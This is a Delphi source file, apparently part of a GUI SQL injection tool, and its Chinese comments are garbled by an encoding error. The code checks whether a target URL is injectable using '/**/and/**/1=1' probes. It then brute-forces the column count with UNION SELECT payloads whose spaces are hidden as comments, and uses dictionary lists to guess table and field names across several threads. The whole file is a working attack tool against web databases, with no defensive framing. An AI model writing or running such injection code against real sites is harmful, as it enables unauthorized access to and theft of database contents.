unit Unit2;

interface

uses
  Classes,StdCtrls,Windows,SysUtils,ComCtrls,IdHTTP;

var
  CS:TRTLCriticalSection;    //定義全局臨界區(qū)

type
  //掃描網(wǎng)站是否可以注入及當(dāng)前注入點(diǎn)對(duì)應(yīng)表字段數(shù)線程類
  scanThread = class(TThread)
  protected
    FUrl,InjUrl,FStr: string; //要注入的網(wǎng)站地址
    FKeyWord: string; //關(guān)鍵字
    FState: boolean;
    FMemo: TMemo;
    FListView: TListView;
    FNum: Integer;
    FTable,FValue :string;
    procedure Execute; override;
  public
    //constructor Create(Url,KeyWord:string;Memo:TMemo);
  end;
  //掃描表段注入線程類
  scanTableThread = class(scanThread)
  private
    procedure scanTableResult;
  protected
    procedure Execute; override;
  public
    constructor Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
  end;
  //掃描字段注入線程類
  scanFieldThread = class(scanThread)
  private
    procedure scanFieldResult;
  protected
    procedure Execute; override;
  public
    constructor Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
  end;

function Get(URL,Key: string): boolean;

var
  stoped:boolean;

implementation

uses Unit1;

function Get(URL,Key: string): boolean;
var
  IDHTTP: TIDHttp;
  ss: String;
begin
  Result:= False;
  IDHTTP:= TIDHTTP.Create(nil);
  try
    try
      idhttp.HandleRedirects:= true;     //必須支持重定向否則可能出錯(cuò)
      idhttp.ReadTimeout:= 30000;       //超過(guò)這個(gè)時(shí)間則不再訪問(wèn)
      ss:= IDHTTP.Get(URL);
      if Key='' then
      begin
        if IDHTTP.ResponseCode=200 then
          Result :=true;
      end else
      begin
        if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
          Result :=true;
      end;
    except
    end;
  finally
    IDHTTP.Free;
  end;
end;

{constructor scanThread.Create(Url,KeyWord:string;Memo:TMemo);
begin
  FMemo :=Memo;
  FUrl :=Url;
  FKeyWord :=KeyWord;
  FreeOnTerminate := True; // 自動(dòng)刪除
  inherited Create(False); // 直接運(yùn)行
end;}

procedure scanThread.Execute;
var
  i:integer;
  iStr:string;
begin
  FMemo :=Form1.MM;
  FUrl :=trim(Form1.EdtInjUrl.Text);
  FKeyWord :=trim(Form1.EdtKey.Text);
  FMemo.Lines.Clear;
  FMemo.Lines.Add('正在檢測(cè)注入點(diǎn)是否可用。。。');
  if (not Get(FUrl,'')) or (not Get(FUrl+'/**/and/**/1=1/*',''))
      or (not Get(FUrl+'/**/and/**/1=2/*','')) then
  begin
    FMemo.Lines.Add('注入點(diǎn)不可用，猜解終止！');
    exit;
  end;
  //開(kāi)始猜解字段數(shù)目
  i:=1;
  iStr:='1';
  FState :=False;
  FMemo.Lines.Add(''); 
  FMemo.Lines.Add('開(kāi)始猜解字段數(shù)目。。。');
  FMemo.Lines.Add('');
  while not FState do
  begin
    inc(i);
    if i>30 then
    begin
      FMemo.Lines.Add('最大猜解字段數(shù)大于30,猜解終止！');
      FState :=True;
      exit;
    end;
    iStr:=iStr+','+IntToStr(i);
    InjUrl :=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+iStr+'/*';
    FMemo.Lines.Add(InjUrl);
    if Get(InjUrl,FKeyWord) then
    begin
      FState :=True;
      FMemo.Lines.Add('');
      FMemo.Lines.Add('字段數(shù)目猜解結(jié)束！共找到'+IntToStr(i)+'個(gè)字段。');
      Form1.EdtFieldNum.Text :=IntToStr(i);
      Form1.spNum.MaxValue :=i;
      Form1.spNum.Text :=IntToStr(i);
      Form1.spField1.MaxValue :=i;
      Form1.spField2.MaxValue :=i;
      exit;  
    end;
  end;
end;

constructor scanTableThread.Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
begin
  FListView :=ListView;
  FMemo :=Memo;
  FUrl :=Url;
  FKeyWord :=KeyWord;
  FStr :=Str;
  FreeOnTerminate := True; // 自動(dòng)刪除
  InitializeCriticalSection(CS); //初始化臨界區(qū)
  //inherited Create(FUrl,FKeyWord,FMemo); // 直接運(yùn)行
  inherited Create(False);
end;

procedure scanTableThread.scanTableResult;
begin
  with FListView.Items.Add do
  begin
    Caption :=IntToStr(FListView.Items.Count);
    SubItems.Add(FValue);
  end;
end;

//在一個(gè)線程內(nèi)完成表段猜解工作
procedure scanTableThread.Execute;
var i:integer;
begin
  stoped :=False;
  with Form1 do
  begin
    pg1.Min :=0;
    pg1.Max :=Form1.lsbDict.Count;
    pg1.Step :=1;
    pg1.Position :=0;
    pg1.Visible :=true;
  end;
  EnterCriticalSection(cs); //進(jìn)入臨界區(qū)
  FMemo.Lines.Add('');
  FMemo.Lines.Add('開(kāi)始猜解表段。。。');
  FMemo.Lines.Add('');
  for i:=0 to Form1.lsbDict.Count-1 do
  begin
    if stoped then
    begin
      FMemo.Lines.Add('');
     FMemo.Lines.Add('表段猜解結(jié)束。。。');
     Form1.pg1.Visible :=False;
     exit;
    end;
    FValue :=Form1.lsbDict.Items[i];
    if FValue='' then Continue;
    InjUrl :=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+FStr+'/**/from/**/'+FValue+'/*';
    FMemo.Lines.Add(InjUrl);
    Form1.pg1.StepIt;
    if Get(InjUrl,FKeyWord) then
    begin
      Synchronize(scanTableResult); //同步
    end;
  end;
  FMemo.Lines.Add('');
  FMemo.Lines.Add('表段猜解結(jié)束。。。');
  Form1.pg1.Visible :=False;
  LeaveCriticalSection(CS); //退出臨界區(qū)
  sleep(20); // 線程掛起;
end;

//創(chuàng)建多個(gè)線程完成字段猜解
constructor scanFieldThread.Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
begin
  FListView :=ListView;
  FMemo :=Memo;
  FUrl :=Url;
  FKeyWord :=KeyWord;
  FStr :=Str;
  FTable :=Table;
  FNum :=Num;
  FreeOnTerminate := True; // 自動(dòng)刪除
  InitializeCriticalSection(CS); //初始化臨界區(qū)
  //inherited Create(FUrl,FKeyWord,FMemo); // 直接運(yùn)行
  inherited Create(False);
end;

procedure scanFieldThread.scanFieldResult;
begin
  with FListView.Items.Add do
  begin
    Caption :=IntToStr(FListView.Items.Count);
    SubItems.Add(FValue);
  end;
end;

procedure scanFieldThread.Execute;
var
  i:integer;
  TmpStr:string;
begin
  FValue :=Form1.lsbDict.Items[FNum];
  TmpStr :=StringReplace(FStr,'&FIELDNAME&',FValue,[rfIgnoreCase]);
  InjUrl:=FUrl+'/**/and/**/1=1/**/union/**/select/**/'+TmpStr+'/**/from/**/'+FTable+'/*';
  EnterCriticalSection(cs); //進(jìn)入臨界區(qū)
  FMemo.Lines.Add(InjUrl);
  if Get(InjUrl,FKeyWord) then
  begin
    Synchronize(scanFieldResult); //同步
  end;
  LeaveCriticalSection(CS); //退出臨界區(qū)
  sleep(20); // 線程掛起;
end;

end.